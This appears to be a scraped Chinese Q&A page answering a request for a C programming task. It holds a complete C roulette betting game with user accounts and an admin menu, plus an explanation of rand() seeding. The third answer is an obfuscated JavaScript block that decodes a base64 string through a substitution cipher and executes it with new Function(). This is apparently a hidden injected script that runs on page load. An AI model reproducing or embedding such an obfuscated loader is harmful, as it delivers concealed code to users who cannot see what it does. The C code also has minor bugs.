急求c语言编程题目

2025-04-08 00:02:20
推荐回答(3个)
回答1:

早上看到问题需求,中午用休息时间刚好大半代码,发现问题居然已经采纳了。。。

代码完成了。测试过了。直接运行。

滚轮实现动态,三角型指针沿着滚盘数字转动,随机停在一个数字上,如果和之前下注的数值一致就是猜中,反之没猜中

你提出的所有功能都实现了,太多了,我截图列举几个说明一下,其它你自己看吧。

是可以猜中!!可以猜中!!,我第一次2轮就中,忘记截图了。1/36的概率能猜中,有耐心慢慢试,记得充值!

后台还有很多功能,但必须用管理员账户才能进入:

#include 
#include 
#include 
#include 
#include 
#include 
#define maxMShow 10//最大下注金额显示字符数,修改该值需要同步修改showDisc函数的格式参数!
typedef struct user
{
    char uName[21];
    char psw[21];
    int money;//余额
    int pay;//历史消费
    int win;//历史赢钱
    int type;//用户类型->0: 管理员;1:普通玩家
    struct user *next;
}USER;
typedef struct disc//圆盘数字
{
    char flag;//数字前标识
    int num;//圆盘数字
    int money;//对应下注金额
    char mStr[maxMShow+1];//下注金额字符串形式,为了排面整齐,最多显示10个字节
    struct disc *next;
}DISC;

void meError(void *p);//内存申请失败
DISC *init();//初始化圆盘,生成链表头指针
void showDisc(DISC *discHead,USER *logUser);//显示圆盘
DISC *bets(DISC *discHead,USER *user);//下注,成功返回下注节点,失败返回NULL。参数:user:下注人ID;
int regUser(USER **userHead,USER **userTail,char *uName,char *psw,int money,int type);//注册用户,成功返回1,失败返回0。参数:uName:用户名。psw:密码。money:开户金额。type:用户类型0管理员1普通用户
USER * login(USER *userHead,char *uName,char *psw);//登录。登录成功返回用户节点,失败返回NULL
int recharge(USER *logUser);//充值,成功返回1,失败返回0
void showMenu1(DISC *discHead,USER **userHead,USER **userTail);//显示一级菜单
void showMenu2(DISC * discHead,USER *logUser,USER *userHead);//显示二级菜单
void showMenu3(DISC * discHead,USER *logUser,USER *userHead);//显示三级菜单
int roll(DISC *discHead,USER *logUser);//滚动转盘,猜中增加奖金,猜中返回1,没猜中返回0。参数:num=猜的数字,money=下的注
void reDisc(DISC *discHead);//重置转盘,每次滚动后调用
void showUser(USER *userHead,char *uName);//查看指定玩家账户,参数uName传NULL,查看所有玩家账户
void showProfit(USER *userHead);//统计赌场盈利状况;
int main()
{
    DISC *discHead=NULL;
    USER *userHead=NULL,*userTail=NULL;
    srand(time(NULL));
    discHead=init();
    showMenu1(discHead,&userHead,&userTail);
    return 0;
}
void showMenu1(DISC *discHead,USER **userHead,USER **userTail)//显示一级菜单
{
    USER *logUser=NULL;
    char uName[21]={0},psw[21]={0};
    int n,money=0,type;
    while(1)
    {
        n=0;
        memset(uName,0,21);
        memset(psw,0,21);
        money=0;
        type=-1;
        system("cls");
        printf("1、用户登录\n2、用户注册\n");
        scanf("%d",&n);
        if(n==1)
        {
            system("cls");
            printf("请输入ID名:"),scanf("%s",uName);
            printf("请输入密码:"),scanf("%s",psw);
            logUser=login(*userHead,uName,psw);
            if(logUser)
                showMenu2(discHead,logUser,*userHead);
        }
        if(n==2)
        {
            system("cls");
            printf("请输入注册的ID名:"),scanf("%s",uName);
            printf("请输入注册的密码:"),scanf("%s",psw);
            printf("请输入开户的金额(必须大于0):");
            while(!money)
                scanf("%d",&money);
            printf("请选择要注册的用户类型(0=管理员;1=普通用户):");
            while(type!=0 && type!=1)
                scanf("%d",&type);
            regUser(userHead,userTail,uName,psw,money,type);
        }
    }

}
void showMenu2(DISC *discHead,USER *logUser,USER *userHead)//显示二级菜单
{
    int n;
    DISC *disc=NULL;
    while(1)
    {
        n=0;
        system("cls");
        printf("欢迎登录:%s,余额:%d\n",logUser->uName,logUser->money);
        printf("1、开始转盘\n2、账户充值\n3、返回上级菜单\n4、后台管理\n");
        scanf("%d",&n);
        if(n==1)
        {
            showDisc(discHead,logUser);
            disc=bets(discHead,logUser);
            if(disc)
                showDisc(discHead,logUser);
            printf("任意键开始滚动圆盘。。。\n");
            getch();
            roll(discHead,logUser);

        }
        if(n==2)
            system("cls"),recharge(logUser);
        if(n==3)
            break;
        if(n==4)
        {
            system("cls");
            if(logUser->type!=0)
                printf("对不起!您不是管理员,没有该权限!\n按任意键继续。。。\n"),getch(),getch();
            else
                showMenu3(discHead,logUser,userHead);//后台管理
        }
    }

}
void showMenu3(DISC * discHead,USER *logUser,USER *userHead)//显示三级菜单
{
    int n;
    char uName[21]={0};
    while(1)
    {
        n=0;
        system("cls");
        printf("1、查看指定玩家\n2、查看所有玩家\n3、查看赌场盈利状况\n4、返回上级菜单\n");
        scanf("%d",&n);
        if(n==1)
        {
            printf("请输入要查找的玩家ID:"),scanf("%s",uName);
            showUser(userHead,uName);
        }
        if(n==2)
            showUser(userHead,NULL);
        if(n==3)
            showProfit(userHead);
        if(n==4)
            break;
    }
}
void showProfit(USER *userHead)//统计赌场盈利状况
{
    int sumPay=0,sumWin=0;
    system("cls");
    while(userHead->next)
    {
        sumPay+=userHead->next->pay;
        sumWin+=userHead->next->win;
        userHead=userHead->next;
    }
    printf("玩家共下注%d元,获胜者得到%d元,赌场总获利%d元\n按任意键继续。。。\n",sumPay,sumWin,sumPay-sumWin),getch();
}
void showUser(USER *userHead,char *uName)//查看指定玩家账户,参数uName传NULL,查看所有玩家账户
{
    system("cls");
    while(userHead->next)
    {
        if((uName && strcmp(userHead->next->uName,uName)==0)|| !uName)
        {
            printf("ID:%s,总下注金额%d,总获胜金额%d,当前余额%d\n",userHead->next->uName,userHead->next->pay,userHead->next->win,userHead->next->money);
            if(uName)
                break;
        }
        userHead=userHead->next;
    }
    printf("按任意键继续。。。\n"),getch();
}
USER * login(USER *userHead,char *uName,char *psw)//登录。登录成功返回用户节点,失败返回NULL
{
    if(!userHead)
    {
        printf("错误!无可匹配数据,请先注册!\n按任意键继续。。。\n");
        getch();
        return NULL;
    }
    while(userHead->next)
    {
        if(!strcmp(userHead->next->uName,uName) && !strcmp(userHead->next->psw,psw))
            return userHead->next;
        userHead=userHead->next;
    }
    printf("用户不存在或密码输入错误!\n按任意键继续。。。\n");
    getch();
    return NULL;
}
int recharge(USER *logUser)//充值,成功返回1,失败返回0
{
    int money=-1;
    if(!logUser)
        return 0;
    while(money<0)
        printf("输入要充值的金额(输入0返回主菜单):"),scanf("%d",&money);
    logUser->money+=money;
    return 1;
}
int regUser(USER **userHead,USER **userTail,char *uName,char *psw,int money,int type)//注册用户,成功返回1,失败返回0。参数:uName:用户名。psw:密码。money:开户金额
{
    USER *user=NULL,*userNew=NULL;
    if(!*userHead)
        *userHead=(USER *)malloc(sizeof(USER)),(*userHead)->next=NULL,meError(*userHead);
    user=*userHead;
    while(user->next)
    {
        if(strcmp(user->next->uName,uName)==0)
        {
            printf("用户名已存在!请重新输入。\n按任意键继续。。。\n");
            getch();
            return 0;
        }
        user=user->next;
    }
    userNew=(USER *)malloc(sizeof(USER));
    meError(userHead);
    userNew->money=money;
    userNew->pay=0;
    userNew->win=0;
    userNew->uName[0]=0;
    userNew->psw[0]=0;
    userNew->type=type;
    strcpy(userNew->uName,uName);
    strcpy(userNew->psw,psw);
    userNew->next=NULL;
    if(!((*userHead)->next))
        (*userHead)->next=userNew;
    else
        (*userTail)->next=userNew;
    *userTail=userNew;
    printf("%s:%s注册成功!\n按任意键继续。。。\n",type?"普通用户":"管理员",uName);
    getch();
    return 1;
}
DISC *init()
{
    int i;
    DISC *discHead=(DISC *)malloc(sizeof(DISC)),*discNew=NULL,*discTail=NULL;
    meError(discHead);
    discHead->next=NULL;
    for(i=1;i<=36;i++)
    {
        discNew=(DISC *)malloc(sizeof(DISC));
        meError(discNew);
        discNew->flag=' ';
        discNew->money=0;
        discNew->num=i;
        discNew->next=NULL;
        if(!(discHead->next))
            discHead->next=discNew;
        else
            discTail->next=discNew;
        discTail=discNew;
    }
    return discHead;
}
void reDisc(DISC *discHead)//重置转盘,每次滚动后调用
{
    while(discHead->next)
    {
        discHead->next->flag=' ';
        discHead->next->money=0;
        memset(discHead->next->mStr,0,sizeof(discHead->next));
        discHead=discHead->next;
    }
}
int roll(DISC *discHead,USER *logUser)//滚动转盘,猜中增加奖金,猜中返回1,没猜中返回0。参数:num=猜的数字,money=下的注
{
    DISC *discHeadSave=discHead;
    int i,rnum=0,win,flag;
    while(1)
    {
        discHead->next->flag=16;
        showDisc(discHeadSave,logUser);
        rnum=rand()%36+1;
        if(rnum==discHead->next->num)
            break;
        for(i=0;i<2000;i++);
        discHead->next->flag=' ';
        if(discHead->next->next)
            discHead=discHead->next;
        else
            discHead=discHeadSave;
    }
    if(discHead->next->money>0)//如果随机滚到的数字有下注
    {
        win=discHead->next->money*5;
        logUser->money+=win;
        logUser->win+=win;
        printf("恭喜猜中了,返还5倍!您获得了%d元。\n",win);

        flag=1;
    }
    else
    {
        printf("对不起!本次没有猜中,再接再厉。\n");
        flag=0;
    }
    reDisc(discHeadSave);
    printf("按任意键继续。。。\n");
    getch();
    return flag;
}
DISC *bets(DISC *discHead,USER *user)//下注
{
    int money=0,num=-1;
    DISC *disc=NULL;
    while(num<1 || num>36)
        printf("请输入要下注的数字:"),scanf("%d",&num);
    while(!money)
        printf("请输入要下注的金额(不超过余额且大于0):"),scanf("%d",&money);
    if(money>user->money)
    {
        printf("对不起,您的余额不足,请充值或重新下注!\n按任意键继续。。。\n");
        getch();
        return NULL;
    }
    user->money-=money;
    user->pay+=money;
    while(discHead->next)
    {
        if(discHead->next->num==num)
        {
            disc=discHead->next;
            break;
        }
        discHead=discHead->next;
    }
    disc->money=money;
    sprintf(disc->mStr,"%d",disc->money);
    return disc;
}
void showDisc(DISC *discHead,USER *logUser)
{
    int clo=0;
    system("cls");
    printf("当前玩家:%s,余额:%d\n",logUser->uName,logUser->money);
    while(discHead->next)
    {
        printf("%c%2d%2s%-10s ",discHead->next->flag,discHead->next->num,
               discHead->next->money?"<-":" ",discHead->next->money?discHead->next->mStr:" ");//如要修改显示下注金额最大位数,这里%10d要改!!!
        clo++;
        if(clo==3)
            clo=0,printf("\n");
        discHead=discHead->next;
    }
}
void meError(void *p)//内存申请失败
{
    if(p==NULL)
    {
        printf("异常:内存申请失败!回车结束程序!\n");
        while(getch()!='\r');
        exit(0);
    }
}

回答2:

rand()函数是按指定的顺序来产生整数,因此每次执行上面的语句都打印相同的两个值,所以说C语言的随机并不是真正意义上的随机,有时候也叫伪随机数,使用 rand() 生成随机数之前需要用随机发生器的初始化函数 srand(unsigned seed)(也位于 stdlib.h 中) 进行伪随机数序列初始化,seed 又叫随机种子,通俗讲就是,如果每次提供的 seed 是一样的话,最后每一轮生成的几个随机值也都是一样的,因此叫伪随机数,所以需要每次提供不同的 seed 达到完全的随机,我们通常用时间函数 time(NULL) 作为 seed ,因为时间值每秒都不同,这个函数需要包含以下头文件:

#include
1
理论太泛,下面用例子分析理解。

举例分析

先来理解以下伪随机数,编译以下代码:

#include
#include
#include
int main()
{
srand(1);
int i;
for (i = 0; i < 10; i++)
printf("%d, ", rand()%11);
}
1
2
3
4
5
6
7
8
9
10
运行结果

8, 9, 9, 1, 7, 5, 5, 10, 1, 0,

回答3:

可以的这个

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();